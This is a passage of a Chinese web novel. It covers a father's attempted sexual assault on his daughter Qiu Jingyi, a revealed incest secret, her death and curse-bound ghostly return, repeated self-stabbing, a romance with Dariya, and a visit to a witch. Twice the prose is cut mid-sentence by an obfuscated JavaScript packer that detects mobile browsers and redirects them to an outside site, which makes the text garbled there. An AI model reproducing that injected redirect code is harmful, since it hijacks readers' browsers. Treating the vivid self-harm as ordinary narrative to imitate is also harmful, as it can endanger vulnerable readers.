秋宇炀看了她一会继续说:“我呢,有一位爱人,她很早就离开了我,我今天在车上只是匆匆一眼就看到了你,你的眼睛和她很像,神态也像,尤其是用现在这个表情瞪着我的时候,你是我这么多年找到的最完美的替代品。” 秋景翳很想说:废话!她生的能不像吗?这又是在唱哪出戏,认不出我是谁? 也对,十几年不见,分开的时候秋景翳还是个小孩子,再说了秋宇炀本就没怎么关注过她,这要认得出才奇怪,那别人不得误会他们多父女情深似的。 秋宇炀从床头柜上拿起一个文件夹,在手里掂了掂,他仗着自己有张好脸挥金如土,总是用这种方式收买那些赝品,“这里有份合同,你一个孤儿应该过得很不容吧,只要你愿意跟着我,听话一点,以后的日子会过得很轻松,如果你想,吃饭都有人喂到你嘴边”,嘴上说着如果你愿意,其实根本不是在让人做选择,场面上的漂亮话罢了,他总有手段得到想要的东西。 秋景翳瞪着他,心里更是莫名其妙:孤儿?这么多年不见,这人真是越来越疯了,他还没去看看脑子吗? “没关系,我们有很多时间等你的答复”,秋宇炀的手贴上秋景翳的脸颊,这样的触碰让她瞬间反胃,可她的挣扎是那样的微不足道,像砧板上一条离了水的鱼,她忽然像起自己在本科写过的一篇话题是关于强|奸案的essay。 在那一年,英格兰和威尔士警方共记录了68109起性|侵案,其中只有1498起案件被正式提出指控(2.2%),成年人性|侵案走完整个诉讼流程的平均时长是2年,这些受害人中1/6是儿童,1/4是女性,1/18是男性,实施性|侵行为的嫌疑人有91%为成年男性,1/2是伴侣或性伴侣,6/7是受害者认识的人,受害人中有5/6的女性和4/5的男性没有报案,超过一半的性|侵案幸存者都遭受过不止一次迫害,据统计,在英格兰和威尔士每年有798000位女性遭受侵犯,即每30个女性中就有一个… 白纸黑字的数据都是鲜血和痛苦染就,人们总期盼正义降临,但事实上,正义通常只降临于少数幸运儿的头上,恶横行于世才是世间的常态。 秋宇炀盯着秋景翳的脸看了好一会,那令人作呕的手才顺着脸颊滑到脖颈,摸到她脖子上的那道疤痕,他的气息颤抖了一下,“你这里,也受过伤啊…” 相似的地方太多,秋宇炀开始变得更加贪心,他又伸手去摸秋景翳的左腿,可惜那并不是仿生义肢坚硬冰冷的手感,他一脸不满地皱了皱眉,比起过去那些只能算粗制滥造的,如此趋近于完美的代替品出现一点点偏差就显得更加难以接受,他掐在秋景翳大腿上的手狠狠用力,脑海里甚至闪过要不要把这条腿也锯了的念头。 生理性的恶心与绝望淹没着秋景翳,挣扎了许久她实在是没力气了,不能用嘴辅助呼吸,她的胸膛剧烈起伏着,她盯着天花板,眼里的波澜逐渐平息,变成一潭死水。 不就是觊觎这副身体吗?随便吧,爱怎么着怎么着吧,死不过一瞬间的事,皮囊腐烂成泥骸骨焚烧成灰,就当没来过。 一想到或许可以彻底结束这一切的时候,秋景翳忽然觉得无比轻松,她在心里自嘲到:“原来,被困在过去走不出来的人是我啊…” 秋景翳也没想到秋宇炀留下的心理阴影竟这么严重,曾经那个懦弱的自己这么轻易就被他又揪了出来,过了这么多年,再次面对他时,她仍会想到用死来逃避。 ——人类的生命却偏偏在应该脆弱的时候如此顽强。 Dariya这个名字像是石子掉进那滩死水翻搅起层层涟漪,秋景翳想起她告诉过Dariya要往前一步就是光亮,如果自己就在这样的境地中放弃的话,那Dariya还要怎么相信一切都在慢慢变好呢? 秋宇炀按耐不住自己的欲望,他低头舔舐秋景翳脖子上的伤痕,然后重重地咬了下去,鲜血顺着脖子滴到雪白的床单上,松口抬起头只听咔嚓一声,他还没来得及反应喉咙就被重重打了一拳,呼吸不畅造成的眩晕给了秋景翳脱身的机会。 她的左手软趴趴的坠着,手腕被掰成了一个诡异的角度,她迅速翻身,一手撕掉嘴上的胶布一手打碎另一边床头的花瓶,割开小腿上的束缚,最开始她想要亮明身份,但现在她只觉得太恶心,不想说出口,只想快点离开这里。 套间的坏处就是卧室离房门太远,秋宇炀已然缓过劲,他最受不了猎物的反抗,三两步追上逃跑的秋景翳,秋景翳也不甘示弱,用尽浑身力气踹秋宇炀的裆部,被挡了一下没有造成致命打击,她紧接着后面的动作,目标皆是要害,鼻子眼睛内脏膝盖…因为力量和身材的悬殊加上一只手报废,她占不到多少便宜,总算是又摸到了一只花瓶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904729|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她用力挥到秋宇炀头上,花瓶碎了满地,她抓起一片尖锐的碎瓷片,盯着站不起来的秋宇炀的胸口。 ——杀了他,他该死。 关于那篇essay,当时那门课的老师觉得她写得很好给了高分,还和她一同探讨了一下强|奸案的判刑与量刑问题,以及强|奸犯不至于判死刑的原因,虽然秋景翳可以有理有据地进行客观分析,但她在意识到当初程嘉曦的遭遇其实是性|侵犯后,“强|奸犯都去死”的想法就钉在了心底,从理性的角度剥离出来后,她也如实说出了自己的想法。 老师说了什么来着?她记不太清了,大概是说,很可惜,法律不是受害者的复仇,也不是从个体的角度出发建立的,每项刑罚的背后都有无数考量,且它们的影响不单单只在法庭对犯罪分子宣判的那一刻生效。 这世界除了黑白还有其它数不清的颜色,光明里并不全无黑暗,黑暗的反面也不全是光明,如果有一天这个世界真的变成非黑即白的“理想状态”,那到底是一种进步还是一种退化呢?这个问题永远也不会有答案,因为这个世界永远不会变成如此极端的模样,不够极端就会有很多无可奈何。 掌心被棱角刺破,秋景翳很清楚自己不是法律,理智在诉说着她没有任何权利可以在这里作出审判,但感情却在肆意叫嚣着对人渣的报复,她的灵魂像是要被撕成两半。 犹豫间身后传来一声磕碰的巨响,套房的门被粗暴地踹开,秋晨看到眼前的狼藉没忍住低声骂了句:“我艹”,他大步走过客厅一把拽过“准备行凶”的秋景翳。 被秋晨碰到的瞬间,秋景翳感受到一股刺痛从心底像河沙一样被翻起,攀过整个头骨,再逐渐下沉,粗糙带有棱角的沙砾划过柔软的脑组织,她僵在原地,嗅到了破败和腐朽的味道。 秋晨抠不出秋景翳紧攥在手里的利器,于是他在她耳边用只有他们俩能听到得声音轻声说:“又想被关起来了?这么快就忘记失去自由的感觉了吗?” 秋景翳松了手,瓷片和鲜血一同砸落在地毯上,秋晨看到了她脖子上的牙印,心里既愤怒又恶心。 秋宇炀已经撑起身就近坐在茶几上,为了麻痹疼痛,他端起手边的烈酒喝水一样往下灌,感受到了秋晨落在自己身上的目光却连眼皮也不抬一下,淡淡道:“你来干什么?” 秋晨对于秋宇炀的不忠早就过了歇斯底里的阶段,他只是冷冷地说:“再混蛋也该有个限度,我母亲,你的合法妻子,今天刚刚被安乐死!你难道想和贺家翻脸吗?你心里怎么看和我妈的关系我管不着,但在她葬礼结束前,你装也该装得像人一点。” 秋宇炀确实很讨厌贺诗妍,她从小就喜欢他,还说服了贺家的长辈要和秋家联姻,可秋宇炀也有从小就想要得到的人,所以贺诗妍的喜欢就显得多余,是负担是累赘,让他感到厌烦,所以十六岁就被安排了婚姻的秋宇炀,用最卑鄙最拿不上台面的方式报复了贺诗妍。 虽然秋宇炀对秋晨有求必应,但那不是因为父爱只是做样子和省麻烦还毕竟秋晨会成为继承人,对于懂事之前的秋晨来说,只是这样就足够对秋宇炀建立深厚的爱,后来在知晓秋宇炀做的混蛋事后又滋生了恨,秋晨对秋宇炀的感情十分纠结,爱被恨挤压,恨有爱垫底。 本来被搅了良宵就烦,儿子也来蹬鼻子上脸,秋宇炀抬手理了下头发又恢复了那副人模狗样,他反唇相讥到:“啧,又把你外公搬出来,就算我找了人又怎样?你以为贺家还是当年的贺家呢?更何况从今天开始出轨这个词就与我彻底无关了,好好服你的丧,少来多管闲事。” 秋晨拿起一个水晶杯砸过去,杯子擦着秋宇炀的耳朵尖碎在他身后的墙上,秋宇炀连躲都没躲,像是心有成竹不会被砸到似的,怒火中烧的秋晨拉着秋景翳转身离开,出门前他停了脚步,心里那股火已经彻底灭了,愤怒到极致后只剩下深不见底的疲惫与无力,说:“今天我妈不在了…我爸也是。” 秋宇炀砸过来的花瓶碎在门框,连人的影子都没摸着。 18. 亲吻 从苏黎世飞伦敦大概一个小时五十分钟,秋景翳在闻到那股破败腐朽的味道后就精神很差,她在秋晨的私人飞机上睡着做了个梦,打开了封锁记忆的保险。 五年前初夏,十八岁的秋景翳刚拿到剑桥的offer,欣喜是毋庸置疑的,但烦恼也随之而来——作为国际学生高昂的学费要怎么解决。 中学她被托管给了机构,吃住学费都不需要操心,眼看这一阶段就要结束,没有人联系她说下一步要怎么办,她也不愿意主动去找那个爸爸。 小岛彻底天黑的时间已经推迟到了晚上十点,她烦恼着之后的生存问题睡不着,索性就又溜达去了海边的那个山崖。 “学费可以贷款后面慢慢还,刚好成年了可以去兼职赚生活费,宿舍太贵了,租房子的话…啧,剑桥附近也都挺贵的,啊~应该会很辛苦吧,不过…我的人生好像终于开始属于我了。” 海浪的声音让人平静,她躺在草地上看云丝和月亮若即若离的纠缠,不知过了多久,她听到了带着烦躁的脚步声,这个时间点她作为常客还是第一次在这碰到其他人,不禁好奇坐起身往后看。 来的是位青涩的影子还未退干净,看着比自己大不了几岁的青年,直到他走到足够看清长相的距离,秋景翳皱了皱眉,辨认出了他的身份,“秋晨?” 少年脚步一顿,“你认识我?谁告诉你的?你爸还是你妈?” 一看没认错,秋景翳失了兴致,秋家的人她一个也不想扯上关系,可她都离得这么远了怎么还是要找来,“啊…这个嘛…不用劳驾别人告诉我,长相吊打明星不混娱乐圈也坐拥千万粉丝,关于少爷你的报道满互联网乱飞,秋宇炀和贺诗妍的独子,天之骄子,世界上最会投胎的人,财神爷追着给塞钱的人…你的头衔真不少,我这倒是还有一个他们不知道的”,她站起身揶揄到:“我同父异母的…哥哥。” 秋晨坐了十几个小时飞机,然后辗转来了这个小镇,在寄宿家庭没找到秋景翳,问了去向又马不停蹄爬了这座小山,现在眼睛里满是红血丝,他是来发难的,台词都想好了,被秋景翳这么一搞节奏全乱,“谁跟你认亲了?” 秋景翳对他的状态视若无睹,她又没想过跟他争家产,也不想腾出精力应付这少爷接下来的任何举动,往海边走了几步拉开距离,耸耸肩到:“不是你问的吗?你要是专门来找我的,那就省了吧,我跟你貌似没话说,要是来看风景的,那也麻烦你离远一点,跟我保持距离。” 秋晨以前就知道秋宇炀在外面养了一个特别喜欢的女人,还和她有个孩子,并且秋宇炀把她们保护的很好,从未曝光过,那女人死了快十年了,秋宇炀依然到处找她的替身,而自己就只能看着深爱秋宇炀的母亲贺诗妍郁郁寡欢,他以为自己从未体会过的一家三口真正意义上的幸福,都被秋宇炀全权送给了私生子。 秋晨被秋景翳这过分坦荡,毫无作为私生子自觉的态度搞得气不打一出来,“抢了别人的东西还这么理直气壮?” “我抢了你的”,秋景翳实在不知道少爷脑补出了什么样的剧情,不禁冷笑,“我抢了你的什么?抢了你九年不见天日被父母厌弃的人生,还是抢了你从没和外界接触过就被扔到半个地球以外的机会?呵,你想要这样的生活早说啊,我跟你换,你来替我发愁下个月睡哪条街不会被人捅死好不好?” “你说什么?” “你不是查到我了吗?怎么连这些都不知道,少爷,你这工作做得也忒不细致了吧?”秋景翳看到秋晨明显愣了一下,继续嘲讽:“你该不会…觉得我抢走了你父爱吧?麻烦用你那高贵的大脑想想,秋宇炀要是像你臆想中的那样在乎我,我应该住在伦敦老钱区的豪宅里,上圣保罗女校*,而不是在这个,你随机抓个英国人问,他都不一定知道是哪里的偏远小城。” 秋晨是昨天才完完整整地查清了秋宇炀的惊天秘密,其实到现在他都还处于惊惧昏头得状态,根本没心思深究秋景翳的具体过往,他急需为自己的烦闷找一个缺口,于是他就这样出现在了秋景翳的面前,本以为她过得无忧无虑,可事实并非如此,她也是这样的不幸,是比自己还要不幸的弃子,一拳打在棉花上,秋晨心里的烦躁更盛了。 “你现在满意了?满意了就含着你的金汤匙回家找妈妈去,别打扰我看月亮”,秋景翳也很烦,她又没像狗血剧里那样想要鸠占鹊巢或是怎样,秋晨凭什么来这里冲着她泄愤,他至少还有妈妈一家那么爱他,他到底还有什么不满足?难道非要天底下所有的好都落到他头上才算够?这人还真是贪婪得过分。 秋晨哪里能受得了别人用贺诗妍阴阳怪气他,尤其还是被一个私生子,二十多岁的脾气一点就着,何况这个从小到大被人高捧得少爷本就憋着一股火,“你算个什么东西?你有什么资格提我妈!秋景翳,你不知道你的身世吧,也对,毕竟秋宇炀捂得那么严实,你妈,程嘉曦,她是你爸的亲表妹,我的亲姑姑!” “什么…?”秋景翳生理性反胃,她想起了程嘉曦说脏。 秋晨走过来,他揪着秋景翳的领子往上提,“你就是个□□出来的野种!你也配在我面前跟我提我妈?” 关于这整件事秋晨是无意间接触到的,他顺藤摸瓜揪出了秋宇炀藏了这么多年,比养小三更见不得光的秘密。 因为程嘉曦是家族里和自己年龄差最小的长辈,所以秋晨总黏着她,那时候他们的关系特别亲近,当他知道憎恨了这么多年的小三竟然是自己爱着的姑姑时,好像有道闪电劈下来烧焦了他的神经,这份恨意忽然变得无处安放在身体里横冲直撞,他茫然无措,他厌恶秋景翳,她的存在是一条罪证,她的脸时刻在证明着这一切都是真实发生的,她是违背伦理的肮脏产物,可她也是程嘉曦留下的唯一的联系,矛盾感凌迟着身体,一毫一厘都不放过。 秋晨在步步紧逼,秋景翳不得不后退,脖子被勒得难受,“放开…” 秋晨看着秋景翳那双和程嘉曦一个模子里刻出来的眼睛,情绪像粘稠的麦芽糖一样被人翻搅着,“你知道发现恨了那么久的人,其实是自己深爱的早已离世的亲人是什么感受吗?我一边恨她咒骂她的时候,还一边在悼念她…” 秋景翳不太确定自己有没有理解清楚这句话的含义。 秋晨发泄着这些他没办法告诉任何人的事,“所有人都知道她死在了二十年前的那场车祸里,可事实上她竟然以死者的身份继续活在这世上,十一年,秋宇炀把她藏起来关了十一年!她怎么可能会不疯?要不是因为这样!要不是因为这样…” 秋晨没有说出口的是,当年听说秋宇炀在外面养的那个小三有自杀倾向时,他上了心,所以最终程嘉曦捅死自己的那把刀是他钻了空子让人带进去的,姑姑的死也有他一份,这是他最迈不过去的一道坎。 “她死的时候你怎么可以那么无动于衷?她是你母亲!你连一滴眼泪都为她没掉过”,秋晨的喉咙像是卡了块上不来也下不去的苦瓜,为什么不替她难过?又有什么资格替她难过,这些话从他知道真相后就在反复问,却不知道是在问谁,无论是谁,当时还是现在,流得都是鳄鱼的眼泪。 秋景翳的眼底闪过一丝不悦被秋晨精准捕捉,这并不是他想看到的情绪,他加重了手上的力道,“我觉得你真的很恶心,私生子,小杂种,我想过等我找到你,一定要用很多办法折磨你”,他磨硬自己的翅膀就是为了能和秋宇炀叫板,可以维护贺诗妍为她争取利益,谁成想千方百计找到的那支利箭竟是射向自己的,“可你为什么偏偏就是她的孩子呢?凭什么要和她这么像?我要怎么下得去手,我的恨该找谁去发泄啊?” 秋景翳艰难地挤出声音,“冤有头债有主,你的不幸我的不幸她的不幸,是我造成的吗?你恨你委屈,那我呢?谁又问过我的感受?你这样,和秋宇炀还真是一个模子里刻出来的!” 她没有提起任何那些只有自己和程嘉曦知道别人查也查不到的事,不满与怨恨随死亡封箱,没必要也不想再拿出来一条条理论是谁犯了错又是谁吃了亏。 秋晨咬着后槽牙,他知道自己现在这样很恶劣,但他心里无法接受这句说辞,“你说什么?你说我和那个人渣一样?近亲果然容易生出脑子有问题的人。” 秋景翳的嘴角扯了个轻蔑的笑,“你心里清楚你该责问的人不是我,但你没本事去向罪魁祸首发难,哼,得不到想要的东西,无法让内心满足,所以用下作卑鄙的手段对待处于弱势无辜的人,他就是这样对你姑姑的,你和他一样烂。” 秋晨的喉咙里发出几声十分扭曲的笑,被秋景翳撕碎遮羞布的他为挽尊,继续了这样的卑鄙,“程嘉曦最大的不幸不是秋宇炀,而是你,你根本就不该来到这个世界上。” “我不该…来到这个世界上…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904730|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋景翳没有办法怀疑这句话,甚至从来都知道只是她总避免自己这么想,这是钉在她的灵魂上和肉|体一起来到这个世界的。 程嘉曦无疑是爱这个侄子的,可她给女儿取名却用了“景翳翳以将入,扶孤松而盘桓*”,她和他,一个是暗淡西沉的残阳,一个是驱散黑暗的晨光。 秋景翳呵出一声模糊不清的笑,连名字都是不被爱着的,她的存在是个彻头彻尾的笑话。 “对”,秋晨看到秋景翳缩小的瞳孔,终于有些满意,松开她衣领时带了点力度,秋景翳被迫后退几步,前段时间下过暴雨,这几天又经历暴晒,土层并不牢固,加上站位本就靠边,脚下松了一块,秋景翳就这样向后倒去,秋晨反应过来的时候已经抓不住人了。 海和天连在一起,一眼望不到尽头,明明天地如此广阔,却找不到一个属于秋景翳的容身之处。 想不到泥潭的外面是深渊,努力爬出来只是为了摔得粉身碎骨。 她死在了以为会有新开始的那个夏天,那些设想过的未来连同□□被一同扔进焚化炉烧成灰,装进不会有人祭奠的骨灰盒里。 飞机落地,她跌落回座椅,此刻的感觉形容起来,就像是瀑布枯竭,汹涌流淌的河水收窄,断流,剩下一座空谷。 秋晨把秋景翳送到楼下,说:“你先别睡,我叫医生过来。” 秋景翳下了车,她抬手一甩,那只断了的左手恢复如初,顺便赠送了车里的秋晨一个国际友好手势。 秋晨看到她瞳孔中原本沉积在深棕里隐隐的红翻涌至表面,在夜色里尤为显眼,她知道了,他想,“看来是不用了。” 秋景翳关了车门头也不回地上了楼,一进门她就直冲洗手间对着水池一阵狂吐,吐干净漱了口,她在厨房开了瓶酒,开始消化死亡。 “这是…玩我呢?” 不愿意让她的悲惨足够极端,非要给予希望,在她即将触碰希望时又推翻毁掉这一切,并且依然拒绝给她一个痛快的彻底结束,等她走上正轨后再下一场酸雨… 秋景翳盯着厨台上的刀架看了一会,然后抽出了一把,“我真的…好累啊…” 刀尖在心脏的位置破开一个口子,秋景翳握着刀柄往进推到底,又拔出来,伤口很快愈合,无法结束的只有□□和精神上的极度痛苦,又是几刀,全部落在脖子和心脏,徒劳。 “我不想玩了啊,能不能放过我,为什么不能放过我…”秋景翳捂着脸在黑暗里跪坐了很久。 “Dariya…救救我…”心底的声音没了遮拦顺着喘息从唇间抿出。 明明习惯了所有糟心事都往肚子里咽,习惯了无助的时候自己咬牙硬扛,不知道为什么现在理智瓦解,脆弱的本心是在向Dariya求救。 凌晨接到秋晨的电话,Dariya把Jasmine托付给邻居,精打细算如她毫不犹豫叫了个300镑的Uber从伯明翰赶到伦敦。 她进门听到厨房有声音,走过去先看到地上扔着把沾了血的刀,再是藏得更里面的秋景翳,她的脚边和衣服都是斑斑血迹,身上却没有伤痕,“小秋…好多血…你...疼不疼啊…?” 余光里闯进了一个边缘在颤抖的影子,秋景翳滞了片刻抬头,“Dariya…?” Dariya走过来带动的气流吹过秋景翳的脸庞,激起一阵液体蒸发的凉,她用手背蹭过自己的脸颊,失明的右眼正不住地淌着泪水,她不禁觉得有些奇怪,懂事之后,除了痛极了或者生病时的生理性流泪,她从没有哭过。 人学不会爱便也学不会哭,因为不会有所期待,也不怕失去任何东西,情绪无法激动到足以刺激泪腺分泌眼泪。 可我为什么在叫你名字的时候哭了呢? “我…”秋景翳张了张嘴,声音太过沙哑,她轻咳了一下,“Dariya,我想吻你…” Dariya在秋景翳身边跪下身,任由她触碰自己嘴唇,只是唇瓣相贴,秋景翳便退了回去,Dariya把她拽了回来,颤声说:“傻瓜,亲和吻是有区别的。” 暧昧纠缠的气息终于得偿所愿探入那份温润柔软。 秋景翳缓缓闭上了眼睛承受着这个吻,你喜欢我对吧?她想,明明应该高兴的,可我什么会如此难过呢? 厚重黏稠的苦涩堵在喉咙里吐不出来也咽不下去。 19. 万幸 整个周末,她们接吻,相拥而眠,但她们心照不宣,没有一个人提过彼此之间的关系,也没说起各自藏在心里的秘密,都怕扯碎这片刻的欢愉。 周天早上,秋景翳看了床头的时钟,问:“怎么醒了?” Dariya睡醒才不到五点,天还没亮,她躺在秋景翳的怀里,“你这是没睡,还是醒得早啊?” “睡得不熟,你动了我就醒了”,假的,根本没睡。 “要不我去别的卧室睡吧,你好好休息一会。” “不要”,秋景翳的胳膊把Dariya圈得更紧了,“你搬来和我一起住吧,这样你上班也方便一点。” “好”,Dariya点点头。 秋景翳愣了一下,她抬起头看着Dariya问:“这次怎么没跟我讨价还价了?” “我怕你又掉眼泪”,Dariya笑着说。 “我没…那就这么说好了,你一会不许改主意。” “嗯,说好了,不改主意。” “嘿嘿,那你再睡会,然后我们去接Jasmine。” Dariya拍了拍秋景翳,说:“你也再睡会吧,听话”,她闭上眼睛,却没有一丁点睡意,想起那天上了秋晨的车。 秋晨叫住了从Owen家出来的Dariya,随机空出后排靠近路边的位置,“不放心的话你可以一直开着窗户。” Dariya确实不信任他,她把窗户开到最大才关上车门,手肘支在窗框,电动车窗有防夹手装置,给自己预留出求救的可能,“你找我想说什么?” “你和秋景翳,关系很好?” Dariya不答,“别兜圈子,想知道什么你直接问。” “哦,好吧”,秋晨也没在意,“查了这么长时间,你都知道多少了?“ “小秋是不是…” “是。” “她知不知道自己…” “她不知道。” Dariya的手猝然紧门框,她在问出下一个问题的时候全身戒备,“是…你杀了她?” 秋晨对于这个问题并没有做出特别的反应,语气十分平常,“不是,是意外。” “意外…是你造成的?” 这一次秋晨没有流畅地给出答案,“…不是“,他说谎了。 无论如何都与秋晨有关的,Dariya知道,但她拿秋晨没办法,没有证据任谁来了都拿他没办法,更何况他还有那样的背景做靠山,“她现在这样…算什么?” 秋晨看着窗外,像是在思考着什么,“算什么呢…” 那天秋景翳摔倒礁石上当场毙命,脑子里一团乱麻的秋晨正在思考要怎么收拾残局,一转身差点被吓个半死,“秋景翳”正站在他身边,没意识没反应摸不着抓不住,但会跟着他。 这时沙滩那边闪光灯忽现,他也来不及琢磨,怕生事端只能先行离开,并连夜处理了照片的问题,然而面对自然科学能解释的范围以外的东西,秋晨实属没辙,只能将信将疑地找了位有名的巫师,找人直接把巫师从伦敦“绑架”过来。 巫师看到秋景翳的灵魂时一副见怪不怪的样子,她说之所以灵魂会跟着秋晨是因为血缘的吸引,“秋景翳”看起来没有攻击性所以等一等自然而然就会消失,或者只需要一个净化仪式就能驱散,却没想到委托人的意思完全相反。 秋晨没想过让秋景翳去死,只是心里有火没处发,他现在更不想让“秋景翳”消失,愧疚,不舍,憎恨,对程嘉曦也对秋景翳,他心如明镜,秋景翳不该死,因为她无辜,但她同时也是一颗恶果,所以他又希望她被那些苦难折磨。 按照巫师的要求,秋晨在开了死亡证明后取走了秋景翳的心脏,遗体火化完他们一起回了伦敦,巫师说灵魂徘徊于世多是因为遗憾和执念,即便现在有办法,但等到她意识到自己的死亡,没了那些留恋的时候,谁都阻止不了她离开。 至于恢复秋景翳的身份,这并不是什么难事,毕竟有钱能使鬼推磨,秋晨把国王十字这套房子借秋家的名义让秋景翳长住,但没再给予更多资助,不愿心安理得让她的生活一帆风顺是一方面,不想留下与秋景翳有关联的蛛丝马迹是另一方面,因为他希望秋宇炀就这样以为秋景翳死了,省得这个不在乎伦理的疯子爹万一哪天真对这张脸起了兴趣。 为着私自调查亲爹的过去和过失导致秋景翳死亡这件事,秋晨回国挨了秋宇炀一顿抽,那是从小到大他唯一一次挨打。 “非要说的话,鬼吧…毕竟身体都已经没了”,停顿了一会秋晨才给了Dariya这样一个答案,“你不希望她彻底消失吧?那就永远不要让她知道这件事,让她对这个世界一直有留恋,就能维持现状,不过你要是哪天翻脸了想用这件事报复她,你和你女儿…” 秋晨威胁的话还没说完,Dariya便打断到:“我不会,就算她哪天不想再理我了,我也不会做这种事”,车已经停在火车站外,她说完就离开了。 她坐在回伯明翰的火车上,一路复盘,得知真相的瞬间她没有丝毫人类面对死亡时本能的恐惧,也没有对这种超自然现象感到害怕,她只觉得心如刀割,肝肠寸断,为什么如此美好的人不能得到善待。 Dariya的手攥紧了秋景翳衣服的后摆,“小秋…” “嗯?睡不着了吗?” Dariya摇摇头,她抿着唇,把想说的话咽了下去。 知道了也没关系。 我会更努力一点,让你觉得这个世界对你来说还有舍不得离开的理由。 这一次,换我祈求你留下来。 秋景翳看她不打算说什么了,问:“你和最中意的那个研究团队最后一次面试的时间是不是确定下来了?” “嗯,一个月之后。” “那你可要好好准备啊,你一定会通过的!” 周末之后,秋景翳就没有执着要和Dariya一起睡了。 Jasmine的转学手续很快就办好了,Dariya照常去上班顺便送女儿上学,出门前她照例去书房和秋景翳打招呼,“你今天不用去学校吗?” “我中午去,这会还早呢”,秋景翳挪了挪椅子,从诺大的银色显示器后探出头来,旁边还放着一个同品牌深灰色的笔记本正在充电,看起来忙了有一会了。 虽然媒体音量被调小了,但Dariya断断续续听到了电脑上正在播放的视频内容,是最近轰动全球的案件——跨过儿童色情暗网平台…多国警方…东南亚和南非….200多万…要不是早上时间紧,Dariya可能会和秋景翳聊两句这个案件,毕竟她是学法律的,可以给出和普通报道与看客不一样的见解。 “天气预报说中午那会会下雨,你出门的时候还是带把伞吧?”了解秋景翳习惯了不打伞,但她就是想叮嘱,不想她淋雨,且她喜欢因为这些微不足道的小事被人关心和在乎。 虽然不习惯打伞,但Dariya说的秋景翳自然会听,“好啊,要是下雨了,我会打伞的,放心吧~” “那我出门啦~晚上见!”Dariya拉了拉没给反应的Jasmine的手,“又忘了说再见了吗?” “拜拜~” “嗯~拜拜Jasmine~今天也要好好吃饭,在学校要过得开心”,秋景翳站起身走到书房门口,弯腰和Jasmine说完再见,又直起身,垂着的手捂住Jasmine眼睛,在Dariya的嘴唇上飞快碰了一下,不给人反应时间就分开了,说了句“路上小心”后便走回书桌,留下心脏砰砰乱跳忍着不敢大口呼吸的Dariya。 转身往外走的时候Jasmine说:“妈妈,你的手心突然好湿哦”,Dariya听到身后不远处的秋景翳偷偷笑出了声,为了掩饰笑声她还特意挑大了音量,她从没有当着Jasmine的面做过这些,Dariya知道那是她使坏得逞后的笑,不过偶尔这样的孩子气很可爱,身体循环系统里好像流淌的不是血液而是蜂蜜,甜得Dariya心口发紧。 听到门落锁的声音,秋景翳装不下去轻松的表情了,心脏好像被金属丝线束缚着,越缠越紧,身体有种像是挂着重物被扔进海里一样没有尽头的下坠感。 于是,抱着试一试心态的唯物主义者秋景翳出现在了巫师家门口,记起了脸总能找到人。 门廊的标牌写着不用敲门直接进,拉开白色的中古小木门,入眼是女巫钟爱的经典红黑色调,中世纪风格的家具上摆满了稀奇古怪的物件,入户走廊的尽头立着一面金边全身镜,秋景翳在镜面里看到了自己——死亡瞬间的自己,一个声音打断了她的“欣赏”。 “早上好”,是很舒缓的女中音,和人们口口相传的嘶哑年迈的女巫声音完全不同。 秋景翳顺着声音来源侧过身,远远打量着从楼梯上下来穿着黑色长裙的女人,脚步轻到几乎听不到,橙红的头发卷着波浪长度超过身高铺散在地毯上,手里抱着只黑猫,要不是它正好睁开眼皮露出金黄的瞳孔,秋景翳真的没发现它的存在,“早上好。” “过来吧”,看到秋景翳没有下一步动作女巫接着说,“你来找我应该是什么都知道了吧?” “你记得我”,秋景翳往客厅挪了步子。 女巫把猫放到小窝里,“毕竟也不常见。” “不常见就是还有别的,虽然我已经这样了,但还是觉得挺难以置信的,神话传说竟然是真的。” “没见过的事,你可以不相信它的存在,但你怎么能确定它不会存在?” “也是。” “意识到死亡的感觉不好受吧?” 在知道自己已经死亡的事实后她的确没有之前那么像“人”了,不过非生非死的状态也是有福报的,比如不会生病,受伤会迅速痊愈,不用睡觉赚到了时间,还有一个更好用的——无视障碍和距离的瞬间移动,“嗯”,秋景翳点点头,她在一个软垫上坐下,“你们当初做了什么?” “你哥哥用自己的血和你的心脏对本该离开的灵魂下了诅咒,诅咒是有代价的,你不能即作为人又享有灵魂的特权,反之亦然,所以你才会这么难受。” 秋景翳对与秋晨相关的事没什么感触,只不痛不痒评价了句:“哦…还挺严谨的。” “你的存在…严格意义上来说…是一种错误,所以你现在的处境还会导致理智的消亡,并且这个过程是不可逆的。” 秋景翳轻呵了一声,似笑似叹,“错误…” “每一个灵魂都是有阴暗面的,脱离了□□也就脱离了人类社会道德与法制的约束,没了约束谁也不知道你最终会堕落成什么样,造成多大的伤害取决于你想法的下限在哪里。” “啊…说起来我跟圣人并不沾边呢”,秋景翳想想自己确实好几次都差点就要借自己的外挂去宰了秋宇炀了,“所以…错误还是应该被纠正才对”,可是…好不甘心啊… “这样是最好的结果,对你来说失控之后你身边和你亲近的人会成为第一个受害者,对我来说就省得我在之后费劲去抓你。” 伤害身边最亲近的人,秋景翳搭在膝盖上的手攥了攥,心脏涌起另一种夹杂着酸涩的疼痛,房间里就这么安静了有半分钟,她松了那口气才问:“方法?” “你哥哥自愿放了你,或者你去处理掉那些让你放不下让你无法安息的事。” 半夜,秋景翳偷偷溜进了Dari 